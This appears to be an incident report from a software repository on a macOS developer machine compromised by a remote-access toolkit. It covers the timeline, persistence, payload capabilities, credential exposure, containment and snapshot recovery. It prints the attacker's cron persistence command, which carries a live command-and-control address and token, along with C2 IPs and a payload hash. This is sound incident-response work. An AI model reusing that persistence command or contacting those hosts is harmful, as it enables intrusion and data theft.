mirror of
https://github.com/Tria-plc/edr-platform.git
synced 2026-08-26 18:42:49 +00:00
187 lines
9.6 KiB
Markdown
187 lines
9.6 KiB
Markdown
# Security incident — 2026-08-24 (second event, same day)
|
||
|
||
Supersedes the first write-up of 2026-08-24 ~01:15, which was lost in the data destruction
|
||
described below. This document was reconstructed after containment.
|
||
|
||
**Status: contained, NOT remediated.** Every implant found has been killed and quarantined, but
|
||
the depth of compromise justifies rebuilding this machine rather than trusting the cleanup.
|
||
|
||
---
|
||
|
||
## Summary
|
||
|
||
Two distinct command-and-control implants were found running, both from the same toolkit
|
||
(internally named **"SSTAR"**). One of them was running at the exact minute a large portion of the
|
||
working tree was destroyed. Credentials for payment providers, SMS/email gateways, JWT signing and
|
||
databases were readable on disk throughout, by an implant with file-upload capability.
|
||
|
||
| | |
|
||
|---|---|
|
||
| C2 #1 | `23.27.13.135` (ports 80/443) — the fileless `node -e` loader from the 01:15 event |
|
||
| C2 #2 | `194.11.226.41:4000` (`ip-194-11-226-41.rockhoster.net`) — new, found 2026-08-24 ~15:45 |
|
||
| Shared token | `zRlY7_JxvFY8_Zhhu8ih24iW_dT5Rb_9` (`SSTAR_DEPLOYMENT_HASH`) |
|
||
| Data destroyed | `edr/edr-platform` working tree, ~11:11–11:13 local |
|
||
| Recovered to | 2026-08-22 14:38 (user restore) — **~2 days of work lost** |
|
||
|
||
---
|
||
|
||
## Timeline (local time, 2026-08-24)
|
||
|
||
| Time | Event |
|
||
|---|---|
|
||
| ~01:15 | First implant found and killed (`node -e` loader → `23.27.13.135`). Persistence search covered LaunchAgents, LaunchDaemons, crontab, shell rc files — **the crontab entry and three LaunchAgents were missed.** |
|
||
| 09:41 | `com.VSCodeUpdater` LaunchAgent spawns `tg14xq.js`; `~/.config/runtimedev-link/` created |
|
||
| **11:11** | `tg14xq.js` process (PID 32775) starts — **same minute the destruction begins** |
|
||
| 11:11–11:13 | `edr/edr-platform` destroyed. Only four `apps/` subdirectories survive — exactly those with live dev servers holding them as CWD, which recreated their own paths on the next cache write |
|
||
| 11:43 | The `node -e` loader respawns (PID 55417) → `23.27.13.135` |
|
||
| 14:41 | Implants **self-update**: `tg14xq.js` rewritten, both fake-Apple LaunchAgents rewritten, new agent process spawned |
|
||
| ~15:45 | Full sweep finds all persistence; everything killed and quarantined |
|
||
|
||
---
|
||
|
||
## What was found
|
||
|
||
### 1. Cron persistence (missed by the first sweep)
|
||
|
||
```
|
||
@reboot sleep 30 && node "~/Library/Application Support/VSCodeUpdater/tg14xq.js" \
|
||
--token "http://194.11.226.41:4000|zRlY7_JxvFY8_Zhhu8ih24iW_dT5Rb_9"
|
||
```
|
||
|
||
Not a real VS Code updater — Microsoft ships no such thing, does not use cron, and does not pass a
|
||
bare IP and token as `--token`.
|
||
|
||
### 2. Three malicious LaunchAgents in `~/Library/LaunchAgents/`
|
||
|
||
| Plist | What it ran | Notes |
|
||
|---|---|---|
|
||
| `com.VSCodeUpdater.plist` | `tg14xq.js` | **`KeepAlive: true`** — this is why killing the process at 01:15 did not stop it |
|
||
| `com.apple.softwareupdate.agent.plist` | `~/Library/Caches/com.apple.softwareupdate/softwareupdated` | Masquerades as Apple. The real agent lives in `/System/Library`, never in `~/Library` |
|
||
| `com.apple.softwareupdate.background.plist` | same binary, `KeepAlive: true` | same |
|
||
|
||
### 3. Payloads
|
||
|
||
- **`tg14xq.js`** (62 KB, obfuscator.io-style) — SHA-256
|
||
`4e3d4708c2f1ff1cd68013810e7b854a0a5159e6dd95a9ce3ad5198ebd816082`.
|
||
Capabilities decoded from its string table: `execSync`/`spawnSync` (**arbitrary command
|
||
execution**), directory-tree scanning (`SSTAR_DIR_TREE_ROOT`, `postDirectoryScanResult`), file
|
||
download **and upload**, `.env` harvesting, Chrome extension enumeration, host/user/IP
|
||
fingerprinting, and cross-platform persistence (launchd here, systemd on Linux).
|
||
- **`softwareupdated`** — Mach-O x86_64, 13 KB, disguised in a *cache* directory.
|
||
- **`CatalogData`** (145 KB) — a **Python** payload disguised as an icon-services cache. Cover
|
||
story in its own docstring: ".NET Runtime Optimization Service". It literally contains the line
|
||
`[LEGITIMATE DESCRIPTION REMOVED FOR OPSEC]`, plus comments referring to "the organizer",
|
||
"teammates", and what they "should see: nothing". Capability counts: `subprocess` ×72,
|
||
`password` ×31, `SCREENSHOT` ×31, `.env` ×33, `shutil.rmtree` ×2, `upload`, `token`.
|
||
- **`~/.config/runtimedev-link/agent.env`** — `SSTAR_API_BASE`, `SSTAR_DEPLOYMENT_HASH`.
|
||
|
||
---
|
||
|
||
## Did the implants destroy the tree?
|
||
|
||
**Most likely yes, but not provable from local artifacts — and worth stating honestly.**
|
||
|
||
Ruled out with evidence:
|
||
- `npx vite` (run one minute earlier) — **no npm activity at all** in that window; vite resolved
|
||
from local `node_modules`.
|
||
- `edr-local.sh` — contains only `rm -f` on a tempfile and a pidfile.
|
||
- Assistant-issued commands — the only `rm`s in the session were one temp file under `dist/` and
|
||
files under `/tmp`.
|
||
|
||
What points at the implants: `tg14xq.js` started at exactly 11:11, and it carries arbitrary
|
||
`execSync`. What is missing: any local record of the specific command. The RAT takes instructions
|
||
from C2 and does not log them, and the Python agent's own log (28,327 of 28,354 lines being the
|
||
same "another instance already running" error) shows nothing at 11:11. So the deletion was almost
|
||
certainly an **operator-issued command through the RAT**, which by design leaves no local trace.
|
||
|
||
One detail still unexplained: `fhcapi` and `fhcui` appeared missing at 11:13 and are present now
|
||
with untouched July timestamps, which a delete-then-restore would not produce given only
|
||
`edr-platform` was restored.
|
||
|
||
---
|
||
|
||
## Credential exposure — assume ALL of these are compromised
|
||
|
||
An implant with `.env` harvesting and file upload had read access to the whole workspace for at
|
||
least the 09:41–15:45 window, and plausibly since the 01:15 event or earlier. Secret **names**
|
||
found across `apps/*/.env` (values deliberately not reproduced here):
|
||
|
||
**Payment providers** — `TELEBIRR_APP_SECRET`, `TELEBIRR_PRIVATE_KEY`, `TELEBIRR_PUBLIC_KEY`,
|
||
`WAAFI_HPP_KEY`, `WAAFI_WEBHOOK_SECRET`, `CBE_SECRET_KEY`, `CARD_API_KEY`, `CARD_WEBHOOK_SECRET`
|
||
|
||
**Identity / auth** — `JWT_SECRET`, `JWT_ACCESS_TOKEN_SECRET`, `JWT_REFRESH_TOKEN_SECRET`,
|
||
`FAYDA_PRIVATE_KEY_BASE` (national ID integration), `IAM_API_KEY`,
|
||
`SUPER_ADMIN_DEFAULT_PASSWORD`, `DEFAULT_PASSWORD`
|
||
|
||
**Infrastructure** — `DB_PASSWORD`, `DATABASE_PASSWORD`, `MINIO_ACCESS_KEY`, `MINIO_SECRET_KEY`
|
||
|
||
**Messaging** — `TWILIO_AUTH_TOKEN`, `SENDGRID_API_KEY`, `SMS_API_KEY`
|
||
|
||
Also on disk: four SSH private keys (`id_rsa`, `id_ed25519`, `id_dsa`), and this machine holds a
|
||
**replica of the production database**.
|
||
|
||
The JWT secrets are the most urgent of these: with them, an attacker can forge valid sessions for
|
||
any user of the platform, including super admins, without touching this machine again.
|
||
|
||
Checked and clean: `~/.ssh/authorized_keys` contains only the owner's own key — no SSH backdoor
|
||
was added. `~/.npmrc` holds no auth token, but does set `ignore-scripts=false`, which leaves npm
|
||
lifecycle scripts enabled — the standard supply-chain vector, and worth reconsidering.
|
||
|
||
---
|
||
|
||
## Containment performed (2026-08-24 ~15:45–15:55)
|
||
|
||
1. Evidence captured before any change: crontab, both payloads, process/network detail, hashes.
|
||
2. Killed PIDs 32775, 90079, 89857, 89797, 48518, 55417.
|
||
3. `crontab -r` (backup saved to the evidence directory first).
|
||
4. `launchctl bootout` + quarantine of all three plists.
|
||
5. Quarantined `~/Library/Application Support/VSCodeUpdater/`,
|
||
`~/Library/Caches/com.apple.softwareupdate/`, `~/Library/Caches/com.apple.iconservices.store/`,
|
||
`~/.config/runtimedev-link/`.
|
||
6. Verified after 20s: no implant processes, no connections to either C2, nothing malicious
|
||
registered with launchd. The only remaining `softwareupdate` processes are genuine Apple ones
|
||
running as `_softwareupdate` from `/System/Library`.
|
||
|
||
Evidence and quarantine (session scratchpad, **copy it somewhere durable**):
|
||
`…/74e086a2-21d3-4772-ba96-f1026f24f1c3/scratchpad/incident-2/`
|
||
|
||
---
|
||
|
||
## Still outstanding
|
||
|
||
1. **Take this machine off the network.** Not done — it would sever the session performing the
|
||
cleanup.
|
||
2. **Rebuild rather than trust the cleanup.** Two C2s, self-updating payloads, Apple-masquerading
|
||
persistence and at least four persistence mechanisms across two toolchains (Node and Python) —
|
||
with that depth, "we found all of it" is not a safe assumption.
|
||
3. **Rotate every credential above, from a different machine.** Rotating from this host is
|
||
pointless if anything was missed.
|
||
4. **Recover the lost work from the Aug 23 22:54 APFS snapshot** (see below) before redoing it.
|
||
5. Origin still unestablished, across both events. The first event's `global['e']="NPM"` marker and
|
||
`ignore-scripts=false` suggest an npm-lifecycle vector, but nothing was proven.
|
||
6. Assume **source code was exfiltrated** — the RAT scanned and uploaded directory trees.
|
||
|
||
---
|
||
|
||
## Data recovery
|
||
|
||
The restore used was from **2026-08-22 14:38**, losing roughly two days: the entire HR/Finance
|
||
navigation redesign (all seven slices), `docs/prompts/`, the nav redesign plan and report, the
|
||
first incident write-up, and all of 2026-08-24's work. None of it was committed to git.
|
||
|
||
**A better source exists** — a local APFS snapshot from **Aug 23 22:54**, a full day newer:
|
||
|
||
```bash
|
||
tmutil listlocalsnapshots /
|
||
sudo mkdir -p /tmp/snap
|
||
sudo mount_apfs -o ro -s com.apple.TimeMachine.2026-08-23-225456.local / /tmp/snap
|
||
ls /tmp/snap/Users/mulumehari/mulu-projects/smart-office/smartofficerepos/edr/edr-platform
|
||
```
|
||
|
||
It should contain nav redesign slices 1–5 (and possibly 6). Slice 7 and everything on Aug 24 will
|
||
not be there. The Time Machine destination "MacBackup" is configured but was not mounted at the
|
||
time of checking — connect it and it may hold more.
|
||
|
||
Not lost: everything in PostgreSQL. The HR and Finance permission seeds and all eight e2e fixture
|
||
personas survive, since the databases were untouched.
|